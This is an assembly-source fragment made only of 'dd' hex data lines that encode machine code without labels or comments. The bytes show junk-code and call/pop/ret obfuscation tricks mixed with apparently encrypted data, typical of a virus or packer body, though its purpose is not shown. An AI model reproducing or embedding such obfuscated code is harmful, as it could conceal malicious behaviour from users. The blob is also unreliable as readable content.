		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 39DACDC3h, 8DF05E5Ah, 1B32ED85h, 7BE5006h, 89786CDAh
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 37C9C8C3h, 2D576A0Eh, 6A5650h, 0DE9h, 6D8AD000h
		dd 25C5615Eh, 0C97144C3h, 6AA7FEh, 0AD9B58Bh, 858D061Bh
		dd 61EC39Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	26C35040h, 0B70F3262h, 5C083F7h, 0F977BF66h, 24048950h
		dd 6A006AF9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0E458C357h, 0B58B51AAh, 61B175Dh
		dd 6A006A5Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 2175C350h, 10E949h, 7D430000h
		dd 0AD9490A3h, 0AA234591h, 0A434282h, 95FF0BAFh, 61B1A01h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 40C35646h
		dd 8166B784h, 8D83AAC7h, 1E92B79Dh, 41950906h, 0FF061B0Eh
		dd 0CE8D3h, 7F730000h, 0B660770Ch, 0A4ED51CCh, 0B70F9E16h
		dd 9E95FF3h, 38000000h,	1B81213Dh, 7FFFC583h, 2B0D85FFh
		dd 8D29061Bh, 61B0119h,	7BEE9h,	0E800h,	815D0000h, 1EC3A9EDh
		dd 5E906h, 9D8A0000h, 811CE9D0h, 1B099DBDh, 7D006h, 41860F00h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 8803C357h, 0B58BE083h,	61B174Dh
		dd 6B99D8Bh, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 1E11E6C3h, 68857546h, 9D893839h
		dd 61B06A1h, 100E381h, 10E90000h, 35000000h, 9E835E7Fh
		dd 476ADED6h, 8EB0D893h, 0BA4CE83h, 8A850FDBh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0B7FEC355h, 0BD83F28Bh, 61EC203h,	40840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 6B8BC356h, 77D0CB9Ch, 62E944h
		dd 0FE90000h, 6A000000h, 0B13023EBh, 2ECB2266h,	8E4FEA81h
		dd 8166CEA0h, 0C70CBCEFh, 1EC20385h, 106h, 3AE900h, 5E90000h
		dd 0F6000000h, 8A0DD58Bh, 0F1BF0F56h, 385C75Eh,	61EC2h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 5618C353h, 0AC80E1D1h,	6B99D8Dh
		dd 8589061Bh, 61B0925h,	0FEFF2381h, 0F88BFFFFh,	6ADB8C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0E3BC357h, 0B598A6h, 0FA8BA1E1h, 0F04C3F6h
		dd 5784h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 33A553F1h, 4595FF6Ch, 6A061B0Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 9E11C350h, 8BD13114h, 1B0105BDh, 0BE665006h
		dd 4890261h, 0FFB70F24h, 4BCE9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 9D897493h
		dd 61B2A39h, 958900B0h,	61B09C9h, 6A70E6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 4BFCBEC3h
		dd 0F60C5023h, 0CE97Fh,	7D820000h, 0A51BB3ACh, 0A1B3928Bh
		dd 71E4A169h, 9258509h,	0B60F061Bh, 0B58B51D8h,	61B1CB5h
		dd 6BA5Eh, 95890000h, 61B2C69h,	18619D89h, 0C38B061Bh
		dd 6A04E8C1h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 47FCC351h, 81728BC5h, 9306EBF6h
		dd 0E2F7661Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0CC35545h, 8DB589BDh, 0F061B2Bh, 148Bh,	8E800h
		dd 0D7B10000h, 0F990FEC8h, 8D29071Ah, 61B0D89h,	6AD82B5Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 6F8C351h,	0AAA95190h, 3DB523C0h, 0E8061B06h
		dd 12h,	0E160F89Eh, 0C768901h, 0B08FBDDCh, 0B3CD8BFh, 820FEC7Ah
		dd 6, 787FD781h, 505F58EEh, 1160BCBFh, 241C890Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 91C35343h, 0B50BF9B9h
		dd 61B18E1h, 99DB5FFh, 0BD31061Bh, 61B08D5h, 220595FFh
		dd 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 2F0691C3h, 14E95260h, 0E8000000h,	66982142h
		dd 7905FFEBh, 0B3704494h, 613E31Fh, 5F87B5C9h, 11E9h, 97AD6A00h
		dd 2DB35EAFh, 0E1931E14h, 692D6632h, 0B0617DC5h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 1025906h, 0A3F97B24h, 70E6F66Ch, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0CC35141h, 0F584719h, 684h
		dd 15BD2300h, 0E4061B1Dh, 52006A71h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 5A92105Ah
		dd 0AD2FF379h, 0C9816660h, 0B58B23FBh, 61B112Dh, 0F613C61h
		dd 26083h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0E5F2A002h, 0F589A344h, 0D8B60FF5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C35141h
		dd 5D6DA0BEh, 6BA37h, 9D310000h, 61B0EFDh, 6AC38Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0A4D634C3h, 60C8081h, 14E9h,	3C96B400h, 0E4EE1E29h
		dd 3A5C45F0h, 0F1994CD0h, 0CCBC4AF6h, 4E8C177h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 73C35747h, 0FB35EFC5h
		dd 0BFDC0ABEh, 8937230h, 0FEA121BFh, 0E2F7664Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 13C35545h, 59B84EFCh
		dd 6AAEE5BCh, 6AD82BF7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0A433C351h,	6E8EA0Ch
		dd 27000000h, 8778FDACh, 3810F56h, 0F000000h, 585EFFBFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 84C35343h
		dd 941A6F9h, 0D82BDB64h, 117880Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D3189C3h
		dd 61B2411h, 7B9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 19B0D9C2h, 0BEA01E23h
		dd 0C183FC41h, 718D8900h, 3B061B10h, 0BA860FD9h, 1000000h
		dd 1B29399Dh, 0D98C6606h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 72C35141h, 0D8210239h, 708C20FEh, 4C1F66Bh
		dd 76840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 150424h, 52420000h, 0E909FDC3h, 5, 453C52BBh, 4595FF20h
		dd 0F061B0Ch, 0F5BF2B7h, 680h
		dd 99858900h, 2B061B0Eh, 0F8B70FC3h, 8343Dh, 29860F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0EAFCC351h, 3B21F7FCh,	0EE91C3Ch
		dd 0F9000000h, 0EF81C08Bh, 18E7DE5Fh, 2D78166h,	8BC38BCCh
		dd 53006AD8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 85C7403Ch, 61B2B3Dh, 572F3131h, 1BE1B50Bh
		dd 0C08B061Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0ABC35040h, 99DBD81h, 7D0061Bh,	850F0000h, 49h
		dd 1EDB58Bh, 85FF061Bh,	61B099Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0E8C35747h,	0E836E594h, 0AEC0BFC3h
		dd 9D89640Bh, 61B2E7Dh,	0CE9h, 0A17F900h, 0C9583EBh, 0E9B96805h
		dd 9DB5FFBBh, 6A061B09h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0DB53C357h,	5E9h, 2FF96F00h
		dd 95FF18D3h, 61B2205h,	2FA5B589h, 0B890061Bh, 12345678h
		dd 1CDD8D31h, 9D8D061Bh, 61ECB36h, 0FFF858E9h, 3DBD8BFFh
		dd 0F061B01h, 0A8Dh, 5E900h, 0A1C80000h, 8B209670h, 51006AC1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0F3CC9857h, 0BF660490h, 58BE72FAh, 0EB1369B1h, 4, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0E1D84ACAh, 509ABD49h, 665EF98Bh, 858DF78Bh,	61B32EDh
		dd 0A1CF8166h, 12E9904Dh, 50000000h, 8DE23AA6h,	49403592h
		dd 0E745DDEEh, 0BE58FA36h, 0F78B5049h, 57006A90h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 0D7816605h, 6AC0E2h,	16D1B58Bh, 6A061Bh, 89D9D89h, 858D061Bh
		dd 61ECD0Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	28C35747h, 0BF2D6DAh, 60EA5320h, 1BA9BD8Bh, 8166061Bh
		dd 61E172D9h, 5005C083h, 810F5250h, 6, 310F5250h, 310F585Ah
		dd 0B241FFBFh, 89585A15h, 0F88B2404h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8B64B4C3h, 1B242DB5h, 0FF006A06h, 1B1A0195h,	0E7816606h
		dd 9D8D06D1h, 61E92B7h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0A3C35242h, 0A77E27h,	433302E3h, 3239B58Bh
		dd 0BD8B061Bh, 61B1A55h, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 46B5AEC3h, 0E2E73112h
		dd 0F681FDB8h, 2FE76E7Dh, 2B0D85FFh, 8D89061Bh,	61B323Dh
		dd 0D85E9h, 0E800h, 815D0000h, 1ECD15EDh, 81F88B06h, 1B099DBDh
		dd 7D006h, 9B860F00h, 66000001h, 0D681F28Bh, 0EA48766h
		dd 19419D8Bh, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 973316C3h, 8B6617E5h, 1B1D5DB5h
		dd 6850F06h, 8B000000h,	1B2A11B5h, 0E38106h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0E418C357h, 3E8E456Ah, 0CE9h, 29DA1D00h
		dd 449CD61Ch, 0FFE08D38h, 0FDB0B20h, 0B785h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 98C78BB8h, 0FC1F71Ch, 589h, 0F0806000h, 0BD836194h
		dd 61ECB90h, 67840F00h,	0E9000000h, 0Ah, 469801EEh, 6C39F45Fh
		dd 0AE90844h, 7A000000h, 59C11736h, 8D42DC7Bh, 8AE972h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0AD88DDC3h, 0FCF5C43Dh, 14E848h, 0F11B0000h
		dd 0F6F63540h, 932A0331h, 548F814Dh, 0A1F77CABh, 0BD8BAB05h
		dd 61B210Dh, 85C7F55Fh,	61ECB90h, 1, 41D681F8h,	0E975C2D8h
		dd 30h,	0CB9085C7h, 61Eh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 98C67C3h, 69958953h
		dd 5E061B12h, 19419D8Dh, 8D89061Bh, 61B28D5h, 0FEFF2381h
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0FC9B1C3h, 8C66F3B7h, 7D8D89DBh, 0F6061B03h
		dd 840F04C3h, 61h, 0A0E68166h, 4595FF00h, 6A061B0Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F4B1C352h, 7A93297Bh, 890B75A4h, 1B007585h,	1A8E0F06h
		dd 53000000h, 12E8h, 995E5500h,	75D54383h, 0BA0C54D2h
		dd 0A00166DEh, 5F98757Bh, 6650905Fh, 8990FE8Bh,	1B145995h
		dd 3C5E906h, 9D310000h,	61B0859h, 6860Fh, 0B5330000h, 61B0ACDh
		dd 0BF6600B0h, 0BD8B1AE4h, 61B3311h, 0B58B70E6h, 61B1E6Dh
		dd 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0F05CDC3h, 0C6815FDBh, 79234F75h,	6AD8B60Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 588FC351h, 6660D3BDh, 0BD89F18Bh,	61B0B29h
		dd 6BA61h, 0B5890000h, 61B0AE9h, 5CA1BE66h, 14E9C38Bh
		dd 0A4000000h, 5085ED38h, 362371BEh, 0F4033B0Eh, 0E394BE7Dh
		dd 0C1931DB6h, 0BD8904E8h, 61B11E9h, 6AE2F766h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 65DCC355h, 2B6FCADDh, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0B8C09C32h, 0BAA35F4Bh
		dd 13E9242Bh, 8D000000h, 0E1FAE9C6h, 89EB885Bh,	35F770C8h
		dd 0D607C693h, 8D8918A5h, 61B1699h, 241C8950h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 7AC35747h, 0EE99DD1h
		dd 0DF000000h, 55BE4C9Fh, 0C0392031h, 592E337Fh, 9DB5FF9Ah
		dd 0F061B09h, 188Ch, 13E900h, 1EF50000h, 459A2E82h, 0F344357Eh
		dd 24A24008h, 0DA7DB862h, 595FF09h, 6A061B22h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 7138C355h, 0F34C4295h, 6890F10h, 8B000000h, 1B2BF5B5h
		dd 6A00B006h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0C8DEC353h, 0FF2F158Fh, 6070E6B9h
		dd 12F9BD89h, 8589061Bh, 61B30D5h, 6A71E461h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0E45EC352h, 0F613C60h, 1C683h, 6BF68100h, 0F15BC1Bh
		dd 6AD8B6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 4CEBDDC3h, 8BCA62Ah, 6BAh, 8BFE8B00h, 0AEBE66C3h
		dd 4E8C1F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	5EC35040h, 0D2C0368Dh, 0F75879F1h, 0F18B668Dh
		dd 6AE2F766h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 7375C356h, 69B58915h, 89061B16h
		dd 1B0E999Dh, 0E9D82B06h, 14h, 0A5E26236h, 6571A82Ch, 80BCDE50h
		dd 1FC1E531h, 832AD321h, 51006A58h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h
		dd 0E0D5E449h, 2BFD25F7h, 0F0880FD8h, 57000000h, 7B95EFCh
		dd 8B000000h, 0C183F2h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0DC35242h, 0F1CCD6CCh, 933A553h, 1B03A1B5h
		dd 0FD93B06h, 0B286h, 5711BF00h, 8C6627C9h, 4C1F6D9h, 80840Fh
		dd 0EE810000h, 4EF6460Fh, 0C4595FFh, 6A061Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 138DBDC3h
		dd 0D0BE665Bh, 29C32BE1h, 1B0CA1B5h, 8343D06h, 860F0000h
		dd 3Eh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
		dd 0E7C35242h, 6ED831FDh, 3AE9h, 11E800h, 0B9310000h, 0E61B9B0h
		dd 14E67DECh, 85225059h, 8B7F929Fh, 0C08B5EF9h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0BDC35242h, 8BE3B8A8h
		dd 6AD88BC3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 1C6CC350h, 0B985C7F8h,	77061B06h
		dd 6A3AEDD3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0FB6C357h, 989h, 3860F00h, 66000000h
		dd 8BF9FB8Bh, 0FA8B66C0h, 53E68166h, 9DBD8145h,	0D0061B09h
		dd 0F000007h, 2E85h, 11E900h, 51270000h, 47F62476h, 0ABA8F66Fh
		dd 0ED302F40h, 31F7AB4Dh, 1B176595h, 9D85FF06h,	89061B09h
		dd 1B21C19Dh, 3DB58B06h, 0FF061B33h, 1B099DB5h,	0F6B70F06h
		dd 220595FFh, 0F50061Bh, 38Fh, 0FB8B6600h, 6A40905Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0BC49C352h, 67BE66F5h, 11E8FC0Eh, 8000000h, 168EEDA3h
		dd 9DADE8D0h, 13F2CEA9h, 0A79DCB87h, 945BD8Bh, 835E061Bh
		dd 1B08F1BDh, 840F0006h, 0F0h, 83F08B66h, 1B2FA1BDh, 840F0006h
		dd 0E0h, 13399D89h, 95FF061Bh, 61B08F1h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 6C35040h, 0FC00BF9h
		dd 0AF84h, 6840F00h, 89000000h,	1B2F0D9Dh, 0D38D8D06h
		dd 6A061B4Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0D272C355h, 56AD435Bh,	0FDBD2B5Ch
		dd 0B8061B17h, 5, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	64C35545h, 711B58Bh, 0E1FF061Bh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 90C35343h, 70F916D9h
		dd 5E98E5Eh, 0F5000000h, 98BF7080h, 1A810Fh, 10E80000h
		dd 0E8000000h, 4EAAB7AEh, 0A002DEFEh, 0A344E5F2h, 665A9089h
		dd 5E0AF6BFh, 3C5BD83h,	0F00061Bh, 57A84h, 0D98D8900h
		dd 83061B19h, 1B2FA1BDh, 840F0006h, 567h, 91BD2950h, 5E061B16h
		dd 13298D8Dh, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 14E966C3h, 62000000h, 276FFEC1h
		dd 0C5C541CAh, 0A63C8501h, 10C13CEEh, 66A9F393h, 0C7E350BEh
		dd 0B27C8401h, 56006A44h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 54EA24AAh, 0FE8B1904h
		dd 0CFCB0181h, 6A1499h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 14E9A0C3h, 0A3000000h, 0CAEB332Ah
		dd 690852Dh, 73D3B8F8h,	6F62651Bh, 0C7860E5Bh, 6B340441h
		dd 6ACE70h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0E9F098C3h, 20FC8D7Ch, 0F530881Ah, 10044181h
		dd 0F31D6D7h, 6AF6B7h, 2B9DB589h, 858D061Bh, 61B1329h
		dd 543CC0BFh, 0F28B5007h, 66240489h, 24B3DE81h,	3C595FFh
		dd 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0B58BEEC3h, 61B18F5h, 13298D8Dh, 0BD8B061Bh
		dd 61B22C5h, 1C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 84C9A7C3h, 51ACDBAEh
		dd 660298CDh, 0C77DA8BEh, 441h,	81660000h, 0B608BEFh, 59840FC0h
		dd 0E9000000h, 0Eh, 13793A17h, 0E849B274h, 0ED4827Ch, 8D8D72E9h
		dd 61B4CD3h, 18C5B58Bh,	5B8061Bh, 0F000000h, 0E1FFF1B7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 62C35545h
		dd 1BFD2161h, 17A79B1Fh, 950DBF38h, 0BD8946A1h,	61B1741h
		dd 13298D8Dh, 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 5501F5C3h, 0EE8DBEAh, 0C78726B5h
		dd 0AA727C01h, 5A39BE44h, 181427Fh, 1499CFCBh, 19E9B589h
		dd 41C7061Bh, 78753C04h, 79BD33CEh, 0E8061B1Eh,	0Fh, 7808FBAFh
		dd 0F415B268h, 827294FFh, 50C2063Ah, 0B76CF7BEh, 815F5E49h
		dd 0D7100441h, 6A31D6h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 4EE7CDC3h, 0BD8B006Ah, 61B0985h
		dd 1329858Dh, 9D01061Bh, 61B245Dh, 60525090h, 34BE5853h
		dd 617D50B3h, 7E9310Fh,	13000000h, 9DDBC597h, 585A53B7h
		dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 3A6BB9C3h, 197E4175h, 0EE9h, 43F60800h, 17B68DDEh
		dd 72018841h, 89E3D66Dh, 1B037185h, 0C595FF06h,	0E9061B03h
		dd 0Ah,	116048F2h, 0A9CDE8F0h, 8D8D855Eh, 61B1329h, 2381B58Bh
		dd 1C7061Bh, 0
		dd 0C7F98B66h, 441h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0AF6225C3h, 773DDE33h
		dd 3039BD23h, 8B66061Bh, 0FC00BFBh, 6F84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0EDCD644Bh, 0B5660A08h, 0F08BF80Eh, 0CBAE6DBEh, 0D38D8D54h
		dd 8B061B4Ch, 1B3139B5h, 5B806h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9589B9C3h
		dd 61B16D9h, 9E9E1FFh, 0A9000000h, 0B6D0A4F7h, 802F507Ch
		dd 13298D8Dh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0D4AD69C3h, 77E27443h, 0C70DD866h
		dd 0CA95A501h, 8BF6654h, 0CB018158h, 6A1499CFh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0A9A0C351h, 35E70A6Bh, 1B8DBD89h, 41C7061Bh,	5F596904h
		dd 52006ACEh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 15AC5FAEh, 6850FCEh, 89000000h, 1B0F318Dh
		dd 4418106h, 31D6D710h,	6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 2EC9C1C3h, 0BEAA3697h
		dd 704B03FAh, 0A95BD8Bh, 8D89061Bh, 61B0379h, 1329858Dh
		dd 0F88B061Bh, 6A905090h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0E76FC351h,	0B8372300h
		dd 0C6816678h, 95FF7803h, 61B03C5h, 28D58D89h, 8D8D061Bh
		dd 61B1329h, 1C7F38Bh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 53C35747h
		dd 6D9531DFh, 0C7061B30h, 441h,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 81E814C3h
		dd 224FCE1Ch, 0FCB5419Ah, 0CE8h, 81E81400h, 224FCE1Ch
		dd 8FB5419Ah, 0CDBD0338h, 5F061B0Bh, 840FC00Bh,	3Bh, 8DF98B66h
		dd 1B4CD38Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0A0EC8334h, 0EB6062BCh, 5B81AE1h
		dd 89000000h, 1B0C9DB5h, 3E1FF06h, 0F283E9CAh, 0F08BFFFFh
		dd 22B5B58Bh, 0C18B061Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0E5C35545h, 4E07EED3h, 89C06091h, 1B07959Dh
		dd 4EB06h, 0F000000h, 0B58BF2B7h, 61B168Dh, 32ED858Dh
		dd 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 112D9EC3h, 0B70F331Bh, 516050F2h,	310F5250h
		dd 0E95A585Ah, 12h, 57C240E8h, 4BA031D5h, 8424ECE7h, 384AAA9Bh
		dd 89612F23h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 32FC37C3h, 6A276873h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8BCB113Dh, 1B0B29B5h, 6FBE6606h, 0A1B58B08h,	6A061B1Eh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 85858D3Dh, 0FC061EDCh, 0F05C083h, 86h, 0C4BE9000h
		dd 506AD5A1h, 9FA8BE66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 6ACDF9h, 6A5EF552h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0A1B58BA8h, 89061B2Eh, 1B2D7D9Dh, 195FF06h, 0E9061B1Ah
		dd 0Ch,	205067A6h, 92DF56EEh, 5049CABFh, 92B79D8Dh, 6A061Eh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0D3FFA2C3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	26C35040h, 7AA39FDCh, 81DF8B60h, 34CAACDFh, 0B503610Ch
		dd 61B1451h, 2B0D85FFh,	6A061Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 184B23C3h, 0EFE9F02Eh
		dd 0E800000Ah, 0
		dd 8FED815Dh, 0BE061EDCh, 7B8BD5AAh, 99DBD81h, 7D0061Bh
		dd 860F0000h, 18Bh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 71C35242h, 817E265Ah,	2805DC6h, 419D8B6Ch
		dd 6A061B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 50AFC357h, 1C1D0938h, 0E381318Ah
		dd 100h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	0CAC35242h, 51B10F3Bh, 0D2816660h, 5951E45Ah, 0DB0B5E61h
		dd 0A6850Fh, 0B58B0000h, 61B00E5h, 0DAC2BD83h, 0F00061Eh
		dd 5984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 8A922084h, 8ECECD57h, 9D895DF1h
		dd 61B13F1h, 0AAE9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 5295417Ah, 0F6BF0F46h
		dd 0BA10F681h, 85C77A5Bh, 61EDAC2h, 1, 6E9h, 0DE090B00h
		dd 0E9F8B33Bh, 67h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0BC35747h, 0A51A6700h, 0DAC285C7h, 61Eh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0D01A98C3h, 899A5FECh, 1B0B71BDh,	11E906h
		dd 129D0000h, 31E97F36h, 0D411FC6Ch, 0EC4B6757h, 8D79AA48h
		dd 1B06419Dh, 5DB58B06h, 81061B30h, 0FFFEFF23h,	0FDB58BFFh
		dd 66061B17h, 8B66DB8Ch, 4C3F6F2h, 62840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
